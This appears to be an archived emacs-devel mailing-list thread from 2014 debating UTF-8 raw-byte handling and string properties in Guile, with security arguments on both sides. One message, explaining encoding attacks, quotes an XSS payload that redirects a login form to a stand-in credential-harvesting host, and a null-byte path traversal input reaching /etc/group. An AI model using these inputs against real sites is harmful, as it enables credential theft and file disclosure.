[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    What you mean is that Emacs is asked to _select_ or to _verify_ a coding
    system (as is customary for interactive editing of a file) it will do so
    and get back to the user when necessary.

    But that is _quite_ different from Emacs being _incapable_ of encoding
    raw bytes to a file or a stream of a specified encoding.  It means that
    when you are using an _application_ that is expected to deliver only
    decodable characters, then the _application_ will _ask_ before going
    ahead.

    But the _engine_ is perfectly capable of going through here.

I think that both of these are points correct.  But there is still the
question of what the engine should do by default.

We can set the defaults for those non-frile interfaces so as to reject
invalid UTF-8 sequences.  Then a program could specify to override the
default and allow them.


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

     > Given a self-contained Scheme program, it should be easy to determine
     > whether it ever examines or sets string text properties.  Is that enough
     > to provide the same "security" benefits in practice?

    No.  Often systems are constructed by assembling separately developed
    modules.  If a "security" module responsible for checking data
    validity is property-oblivious, then maliciously crafted properties
    may be able to cause "evil" behavior in a property-sensitive module
    supposedly protected by the "security" module.

I don't understand what sort of danger you're worried about.
Can you present a concrete scenario?

    You can impugn the skills of the programmers responsible,

That comes from you, not from me.

							      or say it's
    all very hypothetical

It is all very abstract as well as hypothetical.

If you want to convince me that this is a problem, you need to present
sufficient arguments to outweigh the very clear problem that would be
caused by NOT adding property lists to strings.  You need to convice me
that it makes sense to try to prevent communication between two
Scheme programs in the same process.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > If you want to convince me that [a property list vector for
 > implicitly transmitting information across module boundaries] is a
 > problem,

I'm not trying to convince you; your evidentiary requirements are way
too high for me to satisfy in time available.

I just want to make sure that Emacs developers in general are aware
that if string properties are added to Guile itself, Emacs will be a
potential vector for attacks.  For example, by providing a "back
channel" for malicious information if Emacs is used to develop a
management interface for a web service written in Guile which directly
accesses Guile modules used in the web service.

 > you need to present sufficient arguments to outweigh the very clear
 > problem that would be caused by NOT adding property lists to
 > strings.

You misunderstand me.  Emacs obviously needs property lists on
strings.  Nobody in their right mind would suggest otherwise.

What I advocate is that string properties should be implemented by
using Guile facilities for defining types, not by changing Guile.
External modules that want to use Emacs property lists for whatever
reason can explicitly import that interface from Emacs.  However,
those properties should not be passed to non-Emacs modules implicitly.

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>> You cannot successfully cater for clueless application programmers.
>
> It is not "clueless" to expect a UTF-8 encoder to produce valid UTF-8.

We are not talking about "producing" but "reproducing" here.  It is
clueless to expect manure to magically turn into roses without
instructions.  If you need sanitized output, you need to sanitize your
input at some point of time.  If that point of time is not under your
control, that will cause worse problems than you started with.  You get
denial-of-service attack vectors when raising exceptions, you get
quoting attack vectors when silently removing or replacing characters.
It is much harder to deal with those behaviors reliably than it is to
deal with faithful reproduction, letting you put the cleanup strategies
at the place in processing where they belong.  Like, before any quoting,
and after any unquoting.

And, of course, having the full power of GUILE's string and regexp
processing for dealing programmatically with that cleanup.  There is no
"we don't have to deal with that input anyway" excuse for a programming
platform.

Emacs learnt its MULE lessons the hard way.  And these days, it does not
let its application programmers down.  And since the programmers were
free to put any safety nets at any place _they_ want without risking
gratuitous breakage, Emacs will inform the user of possible coding
problems exactly where the application programmers considered warnings
appropriate, and with exactly the fallbacks and options that the
programmers considered appropriate for that particular use case.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Richard Stallman writes:
>
>  > If you want to convince me that [a property list vector for
>  > implicitly transmitting information across module boundaries] is a
>  > problem,
>
> I'm not trying to convince you; your evidentiary requirements are way
> too high for me to satisfy in time available.

Newsflash: Emacs 19 has been released in the mean time.  That's good
since we have an example we can study now with regard to the problems
text properties may cause.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Tue, 07 Oct 2014 20:47:04 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: eliz@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     UTF-8 is defined as not containing "overlong" sequences, so Emacs
>     decodes them into two raw-byte indicating characters, one indicating
>     0xC0, one indicating 0xA2.  When encoding, it reassembles them into
>     0xC0 0xA2.
> 
> In that case, it might be reasonable to ask the user whether to accept
> a UTF-8 file decoding that contains any raw-byte characters.
> 
> What do people think of this?

We do ask, but only at buffer save time.  Asking questions when
visiting a file is perceived as a nuisance, because our heuristics
that detect these cases are imperfect and tend to have high enough
false positive rate that annoys people.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Tue, 07 Oct 2014 20:47:46 -0400
> From: Richard Stallman <rms@gnu.org>
> Cc: schwab@suse.de, emacs-devel@gnu.org
> 
> We can set the defaults for those non-frile interfaces so as to reject
> invalid UTF-8 sequences.  Then a program could specify to override the
> default and allow them.

That has been tried (not with UTF-8, but I don't think this matters),
and failed miserably.  The experience taught us that Emacs users
definitely don't want Emacs to do _anything_ about the unmodified
parts of text, except copy it verbatim.  Even the question we ask at
buffer-save time is sometimes reported as an annoyance.

Let's not repeat those mistakes.  The current design principle is that
the application or the user need to specifically ask for strict
conformance, if they want it.  For example, if someone was designing a
secure application on top of Emacs, they would need to opt-in such
behavior.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> Date: Tue, 07 Oct 2014 20:47:46 -0400
>> From: Richard Stallman <rms@gnu.org>
>> Cc: schwab@suse.de, emacs-devel@gnu.org
>> 
>> We can set the defaults for those non-frile interfaces so as to reject
>> invalid UTF-8 sequences.  Then a program could specify to override the
>> default and allow them.
>
> That has been tried (not with UTF-8, but I don't think this matters),
> and failed miserably.  The experience taught us that Emacs users
> definitely don't want Emacs to do _anything_ about the unmodified
> parts of text, except copy it verbatim.  Even the question we ask at
> buffer-save time is sometimes reported as an annoyance.

As one data point, PostScript and PDF files generally constitute of
plain readable text (I seem to remember latin-1 with an option to use
some BOM in strings for getting UTF16 locally but I may be mistaken) but
with inserted binary objects.  At least with PostScript, the file is
linear and one can edit in changes if one wants to.  Obviously, any
unintentional changes in the binary sections are going to stop the
result from working.

This is definitely a case where you want to have better editing
capabilities than a hexdump would give you (as you cannot insert or
delete strings comfortably in a hexdump), but you still want the binary
portions to remain undisturbed as a block.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Mark H Weaver <mhw@netris.org> writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>> You cannot successfully cater for clueless application programmers.
>>
>> It is not "clueless" to expect a UTF-8 encoder to produce valid UTF-8.
>
> We are not talking about "producing" but "reproducing" here.

I stand by my statement above, regardless of what input is feed into the
UTF-8 encoder, and I think I've said enough to make my point.  You are
immovable, as always, and I don't want to waste any more time on this.

You can add this to your long list of reasons why you consider me a bad
maintainer for Guile.

      Mark

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Mark H Weaver <mhw@netris.org>
> Date: Wed, 08 Oct 2014 11:03:51 -0400
> Cc: Richard Stallman <rms@gnu.org>, Andreas Schwab <schwab@suse.de>,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
> 	monnier@iro.umontreal.ca, Eli Zaretskii <eliz@gnu.org>, stephen@xemacs.org
> 
> You are immovable, as always

That was uncalled-for, and actually goes both ways, you know.

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Mark H Weaver <mhw@netris.org> writes:
>>
>>> David Kastrup <dak@gnu.org> writes:
>>>> You cannot successfully cater for clueless application programmers.
>>>
>>> It is not "clueless" to expect a UTF-8 encoder to produce valid UTF-8.
>>
>> We are not talking about "producing" but "reproducing" here.
>
> I stand by my statement above, regardless of what input is feed into the
> UTF-8 encoder, and I think I've said enough to make my point.  You are
> immovable, as always, and I don't want to waste any more time on this.

Shrug.  It's hard to move me when I have been around in similar
circumstances and when I've been been exposed to the consequences of
similar decisions before.

AUCTeX's prv-xemacs.el contains

(defcustom preview-buffer-recoding-alist
  (if (and (= emacs-major-version 21)
           (< emacs-minor-version 5))
      '((utf-8-unix . raw-text-unix)
        (utf-8-dos . raw-text-dos)
        (utf-8-mac . raw-text-mac)
        (utf-8 . raw-text)))
  "Translate buffer encodings into process encodings.
TeX is sometimes bad dealing with 8bit encodings and rather bad
dealing with multibyte encodings.  So the process encoding output
might need to get temporarily reprocessed into the original byte
stream before the buffer characters can be identified.  XEmacs
21.4 is rather bad at preserving incomplete multibyte characters
in that process.  This variable makes it possible to use a
reconstructable coding system in the run buffer instead.  Specify
an alist of base coding system names here, which you can get
using

  \(coding-system-name (coding-system-base buffer-file-coding-system))

in properly detected buffers."
  :group 'preview-latex
  :type '(repeat (cons symbol symbol)))

(defun preview-buffer-recode-system (base)
  "This is supposed to translate unrepresentable base encodings
 into something that can be used safely for byte streams in the
 run buffer.  XEmacs mule-ucs is so broken that this may be
 needed."
  (or (cdr (assq (coding-system-name base)
                 preview-buffer-recoding-alist))
      base))


as opposed to prv-emacs.el's

(defsubst preview-buffer-recode-system (base)
  "This is supposed to translate unrepresentable base encodings
into something that can be used safely for byte streams in the
run buffer.  A noop for Emacs."
  base)


What you don't see is the associated man-month of bug reports, hassles,
head-scratching, debugging, solution-finding, abstracting and boiling
down into a solution.


I've been at the receiving end of the "reproducing the input bytes
faithfully is not a priority" mindframe, and it is costly.  If I am
immovable here, it's because I'm old.  I've been a programmer long
enough in this game to know that "but when _we_ do that, everything will
be different" pans out rarely enough.

And it's not like I'm not getting bitten at the current point of time
while trying to get LilyPond (and thus C++ strings) play well with
GUILE2 without buying into massive conversion overhead and/or possible
column counting mismatches.

We write out PostScript code.  A mixture of material in Latin1, UTF16BE,
and binary.  We read in utf8 code and have a flex scanner working on
in-memory byte streams it shares with the GUILE reader interpreting it
in UTF-8.

It's not like I don't know what I am talking about here.

> You can add this to your long list of reasons why you consider me a
> bad maintainer for Guile.

To be honest, I was not even aware you were maintainer for GUILE.  There
are several committers to the stable/2.0 branch (and sometimes merging
from there to master), and there is Andy Wingo committing to master in
occasional spurts of commits of highly experimental character that are
not discussed on any public list.  While I am clueless about the
official roles of the various developers, the resulting workflows look
more evolved than designed.  I can hardly blame you for something that
you do not appear to have much choice in.  Many GNU maintainers are
sovereigns without subjects or a castle, mostly endowed with the power
to let the sun rise in the morning.

-- 
David Kastrup

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    I just want to make sure that Emacs developers in general are aware
    that if string properties are added to Guile itself, Emacs will be a
    potential vector for attacks.

If you demonstrate that this claim is valid, I will be concerned.

     For example, by providing a "back
    channel" for malicious information

So what?  How would this affect what anyone can do?  There are many
other channels to communicate data from one part of a Scheme program
to another, so how would this additional channel make a practical
difference?  Why object to adding a window in a wall that has so many
doorways already?

If you show me that there is some real and useful form
of security, which adding string property lists would break,
you could convince me that there is a real issue of security here.

    What I advocate is that string properties should be implemented by
    using Guile facilities for defining types, not by changing Guile.

It would be a pain in the neck if Emacs strings were something
different from Guile strings.  If you want to argue that security
justifies this pain, you need to show it is real security and really
does a useful job.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

Regading files:

    We do ask, but only at buffer save time.  Asking questions when
    visiting a file is perceived as a nuisance, because our heuristics
    that detect these cases are imperfect and tend to have high enough
    false positive rate that annoys people.

Asking about invalid UTF-8 in a file could be a nuisance, but how much
of a nuisance depends on the details of what we do.  Since this has
some security implications, it is worth a small amount of nuisance.

What exactly did we try before?

Meanwhile, in a separate message I wrote about non-file operations:

    > We can set the defaults for those non-frile interfaces so as to reject
    > invalid UTF-8 sequences.  Then a program could specify to override the
    > default and allow them.

    That has been tried (not with UTF-8, but I don't think this matters),
    and failed miserably.

I don't think we are talking about the same thing.  I am talking about Lisp
functions to do conversions on text that does NOT come from files.
You seem to be talking about operations on files:

			   The experience taught us that Emacs users
    definitely don't want Emacs to do _anything_ about the unmodified
    parts of text, except copy it verbatim.  Even the question we ask at
    buffer-save time is sometimes reported as an annoyance.

It looks like you're grouping the two cases together,
while I am treating them separately.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > Newsflash: Emacs 19 has been released in the mean time.  That's good
 > since we have an example we can study now with regard to the problems
 > text properties may cause.

Newsflash: we're not talking about text properties in Emacs, which has
historically been hostile to both embedding in other apps and to FFIs,
and is not normally used as a network daemon, but instead is usually
controlled by the user who owns the resources Emacs manipulates, and
in most cases has little malice toward himself.

We're talking about text properties in Guile, which is designed for
embedding and and extension (including wrapping foreign functions).  A
Guile with text properties hasn't been written, let alone released
AFAIK.  I dunno about the "network daemon" part, but Mark mentioned
that as a target application area for Guile.

It would be "nice" and "efficient" for Guile to implement properties
natively so that Emacs could just use those, but Mark is correct to
worry that those properties would be used to bypass validation modules
written for pre-property Guile versions.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > I've been at the receiving end of the "reproducing the input bytes
 > faithfully is not a priority" mindframe, and it is costly.

XEmacs is irrelevant -- it simply doesn't possess the technology.  It
*is* a goal for us, I've tried, and that code is *hairy*, I failed.
So all your examples of pain you've personally suffered are irrelevant.

Nobody here is advocating "not a priority."  Engineering faithful
roundtripping isn't a priority for Emacs only because it's already
possible and robust.  I'm assuming that will continue to be the case
in a Guile-based Emacs.  (If not, sure, that needs to be fixed.
Nobody is saying otherwise, and I've made that explicit several
times.)

So the only question is "what is the default."  Please stop trying to
make this into anything else.

You advocate a default that is convenient for the app programmer, who
saves one project-wide "sed -i -e s/utf-8/utf-8-with-rawbytes/ *" to
achieve the same degree of insecurity and reproducibility his app
would have with the default you prefer.

We advocate a default that is safer for the user, who may lose their
life savings if a filter for 419 phish fails because a character is
encoded with "long" UTF-8, and fails to match the regexp which expects
the character and not rawbytes.  I don't know that there are any Emacs
MUA users who have ever fallen for a phishing message, but I assure
you that I personally have observed "long" UTF-8 in messages that are
otherwise duplicates of correctly encoded spams.  Those bastards don't
miss a trick.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > Newsflash: Emacs 19 has been released in the mean time.  That's good
>  > since we have an example we can study now with regard to the problems
>  > text properties may cause.
>
> Newsflash: we're not talking about text properties in Emacs, which has
> historically been hostile to both embedding in other apps and to FFIs,
> and is not normally used as a network daemon,

It is used as a network application (I mean, what else to use as news
and mail reader?).  There are currently discussions on the list about
the way to do TLS in a secure manner.

> We're talking about text properties in Guile, which is designed for
> embedding and and extension (including wrapping foreign functions).  A
> Guile with text properties hasn't been written, let alone released
> AFAIK.  I dunno about the "network daemon" part, but Mark mentioned
> that as a target application area for Guile.

Text properties are not in files or network streams.  They will not
magically materialize and cause trouble.

> It would be "nice" and "efficient" for Guile to implement properties
> natively so that Emacs could just use those, but Mark is correct to
> worry that those properties would be used to bypass validation modules
> written for pre-property Guile versions.

Sigh.  At any rate, this is basically a non-issue since GUILE is
perfectly capable of supporting custom extensible string type stacks on
the existing commands like it provides a custom extensible numeric type
stack.  Its object programming system GOOPS has been designed for that
sort of extensibility.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > If you demonstrate that this claim is valid, I will be concerned.

*sigh*  Be unconcerned.  The world is a *lot* more hostile today than
it was in the days when you posted your passwords on the 'net.

 > It would be a pain in the neck if Emacs strings were something
 > different from Guile strings.

Sure.  Security comes at cost.  That's part of why credit cards charge
a minumum of 5% over prime rate, and why people lose hundreds of
millions of dollars a year to Internet scams: somebody didn't want to
pay that cost, so imposed the risk on others.

The risk is almost invisiblly small in a monolithic Emacs, it's true.
But a Guile-based Emacs is no longer monolithic.  It becomes a
component directly connected to a much larger system of Guile modules,
whose purposes and uses the Emacs developers do not know.  Evidently
some leading Emacs developers are unwilling to care at all about those
unknown purposes and use cases.  If I were a Guile maintainer, I would
be concerned about adding features requested by Emacs.

 > If you want to argue that security justifies this pain,

Sorry, no.  If you want to use a Guile maintained by Mark, you're
going to have to convince him that the benefits of having Guile
implement string properties natively (rather than in the Emacs module
running on top of Guile) is worth overriding his justified paranoia.
I'm trying to convince you and other Emacs developers that you're
going to have to be more sympathetic to security if you want to get
such features into Guile.

 > you need to show it is real security and really does a useful job.

I suspect I can't give you a convincing example, because I haven't
studied the Guile modules "at risk", and in any case, most real risks
would require Guile modules that take advantage of text properties (of
which there are obviously none) or an Emacs -> Guile security code ->
Emacs passage, where the second Emacs instance "trusts" the code
because the Guile security code has validated it, but that's not
possible yet either.

However, here are a couple of analogies.  Even a feature as simple as
".." representing the parent directory has been used in disastrous
network breakins.  The danger of ".." is obvious in retrospect, but
the developers of web servers (several) were taken unaware because
they used system calls to traverse paths, and those calls
authomatically implemented "..".  Sensitive user data (such as
password files) was leaked.

Or how about the recent bash lossage?  s-expressions are just Lisp
data, and could be placed in a property.  Older security code that
does not validate properties might pass arbitrary code (because it
doesn't look at it) to a module that expects to receive a symbol,
eval's it, and voila! you're owned, just as any CGI implemented as a
shell script on a host where /bin/sh is a symlink to bash can own you.
Evaluating functions stored in environment variables is not a POSIX sh
feature; if bash's "sh compatibility" mode actually implemented
compatibility, this exploit would be impossible.  AFAIK setting
POSIX_ME_HARDER doesn't help.

So there you are.  That's the best I can do.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> We advocate a default that is safer for the user,

GUILE is not a user application but a programming language.

> who may lose their life savings if a filter for 419 phish fails

Can we have terrorism with that scaremongering?

> because a character is encoded with "long" UTF-8, and fails to match
> the regexp which expects the character and not rawbytes.

I am glad that Emacs and sed and other utilities don't trash PostScript
files by default in order to save me from phishing.

> I don't know that there are any Emacs MUA users who have ever fallen
> for a phishing message, but I assure you that I personally have
> observed "long" UTF-8 in messages that are otherwise duplicates of
> correctly encoded spams.  Those bastards don't miss a trick.

So?  Does that mean that string operations should throw an error when
encountering $$$$$$$$$$$$$ in a string?  To save the user from scams?

If you keep confusing the responsibilities of platform, application and
user, you arrive at a system you have to work around with constantly
because it knows better than you what you want.

A network application that throws exceptions internally when fed
non-UTF-8 byte combinations is an attack vector for denial-of-service
attacks.  And since the naive programmer does not expect exceptions for
just reading strings, this is a very real danger.  And since GUILE is an
extension language, implicit conversions for C/GUILE call gates are hard
to avoid, and when every call gate is locked towards passing strings
representing arbitrary data, you will not be able to use libraries
without having access to the semantics of every call gate.

At any rate, there is no point to this discussion.  It tends to solve
itself in practice by developers at some point of time becoming tired of
ever the same application programmer level problems getting reported,
and application programmers becoming tired of ever the same developer
attitude regarding internals that refuse to "simply work".

At least I am still allowed to call cons without triggering an error
when the second argument is not a list.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mike Gerwitz]

[-- Attachment #1: Type: text/plain, Size: 3312 bytes --]

On Thu, Oct 09, 2014 at 12:56:42PM +0900, Stephen J. Turnbull wrote:
> Richard Stallman writes:
> 
>  > If you demonstrate that this claim is valid, I will be concerned.
> 
> *sigh*  Be unconcerned.  The world is a *lot* more hostile today than
> it was in the days when you posted your passwords on the 'net.

Agreed. Character encoding attacks are also something that has been
exploited "in the wild". Some examples include:

  - UTF-7 character encoding to bypass filters[0] (e.g. for XSS);
  - IIS WebDAV validation exploit (CVE-2009-1535);[1] and
  - CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic;[2] and
  - Google's XSS vulnerability, related to the first item in this list.[3]

Note that not all of the above may be applicable to the specifics of this
discussion---the point is to convey, generally, that character encoding
poses serious threats when improperly handled. Though this discussion seems
to be about what is "improper".

See "Secure Programming for Linux [sic] and Unix HOWTO".[4]

The Unicode Consortium also has a security report[5] that mentions, among
other import concepts, deletion of code points and handling of "illegal"
input byte sequences.

With regards to passing raw input to other systems: this isn't necessarily
Unicode related (unless an invalid sequence contains a null byte), but
serves to illustrate the point that Mark is trying to make: there is a
well-known issue in PHP whereby passing a null byte as a parameter to a
script (e.g. via HTTP GET/POST) opens up a number of attacks.  Specifically,
PHP handles null bytes in strings (by storing the string length as part of
the struct that holds the string). However, it makes calls directly to libc.
So, if an unvalidated input $foo contains "../../../../etc/group\000", and
PHP makes a call to `fopen' with the path "/webroot/modules/$foo/index.php",
the result would be opening "/webroot/modules/../../../../etc/group".

I have the most experience developing web applications, where character
encoding exploits are common.[6]

> So there you are.  That's the best I can do.

I can dig up more examples, but hopefully some of these help to illustrate
the severity of ignoring character encoding concerns.

* * *

Aside: For those who don't know what XSS is: the issue is that, if input
from the user is not properly validated/filtered, and is at some point
output back to a user, that output could be interpreted as HTML, JavaScript,
CSS, etc. So if XSS filters are bypassed using the aforementioned methods,
perhaps the user will output `<script>document.forms[0].action =
"http://login-harvester.foo";</script>', which might change a login form,
say, to post user credentials to a remote website.

[0]: http://en.wikipedia.org/wiki/UTF-7#Security
[1]: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535
[2]: https://capec.mitre.org/data/definitions/80.html
[3]: http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
[4]: http://www.tldp.org/HOWTO/Secure-Programs-HOWTO/character-encoding.html
[5]: http://www.unicode.org/reports/tr36/
[6]: https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet

-- 
Mike Gerwitz
Free Software Hacker | GNU Maintainer
http://mikegerwitz.com
FSF Member #5804 | GPG Key ID: 0x8EE30EAB

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 836 bytes --]

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:
 > "Stephen J. Turnbull" <stephen@xemacs.org> writes:

 > > Newsflash: we're not talking about text properties in Emacs, which has
 > > historically been hostile to both embedding in other apps and to FFIs,
 > > and is not normally used as a network daemon,
 > 
 > It is used as a network application (I mean, what else to use as news
 > and mail reader?).  There are currently discussions on the list about
 > the way to do TLS in a secure manner.

That's simply nonsense as an argument here.  Until you demonstrate at
least a shred of understanding of something as fundamental as the
differences in security requirements and attack surfaces of network
*servers* and network *clients*, there's no point in discussing your
statements further.

 > Text properties are not in files or network streams.  They will not
 > magically materialize and cause trouble.

"Magically", no.  "Maliciously", yes, we do have to worry about that.
Again, your evident ignorance of network threat models and their
historical realizations (both as "theoretical" CVEs and as successful
exploits) is appalling.

 > Sigh.  At any rate, this is basically a non-issue since GUILE is
 > perfectly capable of supporting custom extensible string type stacks on
 > the existing commands

Aha, a convert!  (Yes, I said that already in different terms.)

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Wed, 08 Oct 2014 21:19:54 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     We do ask, but only at buffer save time.  Asking questions when
>     visiting a file is perceived as a nuisance, because our heuristics
>     that detect these cases are imperfect and tend to have high enough
>     false positive rate that annoys people.
> 
> Asking about invalid UTF-8 in a file could be a nuisance, but how much
> of a nuisance depends on the details of what we do.  Since this has
> some security implications, it is worth a small amount of nuisance.

That wasn't what users felt, overwhelmingly.

> What exactly did we try before?

AFAIR, we tried converting raw bytes into valid non-ASCII characters,
and perhaps also replacing them with the equivalent of u+FFFD, the
Unicode "replacement character".

> Meanwhile, in a separate message I wrote about non-file operations:

Well, you said "frile", which confused me ;-)  However, ...

>     > We can set the defaults for those non-frile interfaces so as to reject
>     > invalid UTF-8 sequences.  Then a program could specify to override the
>     > default and allow them.
> 
>     That has been tried (not with UTF-8, but I don't think this matters),
>     and failed miserably.
> 
> I don't think we are talking about the same thing.  I am talking about Lisp
> functions to do conversions on text that does NOT come from files.

... Emacs treats all of these cases the same.  For text we are going
to send to a process or network stream, we ask the above-mentioned
question at the time we encode the internal representation into the
external byte stream we are about to send.  E.g., you can see that in
action in sending mail if you insert some raw bytes into a mail
message in a *mail* buffer, and then try sending it.  There's no file
involved here, at least not as far as Emacs is concerned, and yet you
will see the same prompt asking you to select a proper encoding.

> You seem to be talking about operations on files:
> 
> 			   The experience taught us that Emacs users
>     definitely don't want Emacs to do _anything_ about the unmodified
>     parts of text, except copy it verbatim.  Even the question we ask at
>     buffer-save time is sometimes reported as an annoyance.
> 
> It looks like you're grouping the two cases together,
> while I am treating them separately.

Emacs treats them both the same way, and uses the same low-level
primitives that generally don't know the purpose of the byte stream
they are encoding or decoding.  All they know is whether the source
resp. destination is a buffer, a string, or a gap in the buffer text,
which is insufficient to distinguish between the 2 use cases you are
trying to treat separately.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > > who may lose their life savings if a filter for 419 phish fails
 > 
 > Can we have terrorism with that scaremongering?

Are you really unaware that such exploits happen every day?  You're
not the only programmer who deprecates security because *your*
applications are "secure enough" and it "can't" happen to you, you
know.[1]  That's *why* those exploits are possible -- because some of
those good honest folks were *dead wrong*, and all too often we don't
know which ones were wrong until somebody gets scammed.

 > If you keep confusing the responsibilities of platform, application
 > and user, you arrive at a system you have to work around with
 > constantly because it knows better than you what you want.

Unfortunately, I'm not the one who lacks understanding.  I'm well
aware that security is costly in convenience and functionality.
Nevertheless, I am willing to suffer those losses (which will be far
less than your exaggerated fears), and advocate imposing them on you
as well, because I'm aware of the consequences of doing otherwise.


Footnotes: 
[1]  Heck, that's what the devils at the top of Tokyo Electric Power
Co said as their Fukushima reactor blew its own roof off, and they
*continue* to say that such accidents are "unimaginable".

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     UTF-8 is defined as not containing "overlong" sequences, so Emacs
>     decodes them into two raw-byte indicating characters, one indicating
>     0xC0, one indicating 0xA2.  When encoding, it reassembles them into
>     0xC0 0xA2.
>
> In that case, it might be reasonable to ask the user whether to accept
> a UTF-8 file decoding that contains any raw-byte characters.
>
> What do people think of this?
>
>     One problem with that is that quite often Emacs' choice of a coding
>     system for a buffer is the result of heuristics rather than dependable
>     information.  Not making a fuzz might often be simplest.
>
> Could you explain what "fuzz" means here?

You load a file, edit a line, try saving.  Emacs complains that it feels
insecure doing so even though the line you edited is perfectly fine.
That's getting in the way of doing work.  It would be worse if Emacs
already prompted for approval when loading.

More often than not, the locale applied for operations is not even
explicitly specified but a consequence of the user environment or
preexisting content.  Having internal operations and file read/write
fail depending on the state of the user environment is a nuisance.
That's particularly a danger when most core developers actually use
basic English locales and don't even notice the havoc "locale-awareness"
may cause.

A recurring phenomenon in that direction is generation of number
presentations that can no longer be processed because of being written
under the influence of an LC_NUMERIC setting developers did not expect.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Date: Thu, 09 Oct 2014 16:16:04 +0900
> Cc: rms@gnu.org, mhw@netris.org, dmantipov@yandex.ru, emacs-devel@gnu.org,
> 	handa@gnu.org, monnier@iro.umontreal.ca, eliz@gnu.org
> 
> Until you demonstrate at least a shred of understanding of something
> as fundamental as the differences in security requirements and
> attack surfaces of network *servers* and network *clients*, there's
> no point in discussing your statements further.

This kind of "argument" will get you no points here, cf Ian Grant.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> I don't think we are talking about the same thing.  I am talking
>> about Lisp functions to do conversions on text that does NOT come
>> from files.
>
> ... Emacs treats all of these cases the same.

Well, on a fine-grained level.  We have something like


Coding system for saving this buffer:
  U -- utf-8-emacs-unix (alias: emacs-internal)

Default coding system (for new files):
  U -- utf-8-unix (alias: mule-utf-8-unix)

Coding system for keyboard input:
  U -- utf-8-unix (alias: mule-utf-8-unix)

Coding system for terminal output:
  U -- utf-8-unix (alias: mule-utf-8-unix)

Coding system for inter-client cut and paste:
  nil
Defaults for subprocess I/O:
  decoding: U -- utf-8-unix (alias: mule-utf-8-unix)

  encoding: U -- utf-8-unix (alias: mule-utf-8-unix)


Priority order for recognizing coding systems when reading files:
  1. utf-8 (alias: mule-utf-8)
  2. iso-2022-7bit 
  3. iso-latin-1 (alias: iso-8859-1 latin-1)
  4. iso-2022-7bit-lock (alias: iso-2022-int-1)
  5. iso-2022-8bit-ss2 
  6. emacs-mule 

[...]

  20. undecided 

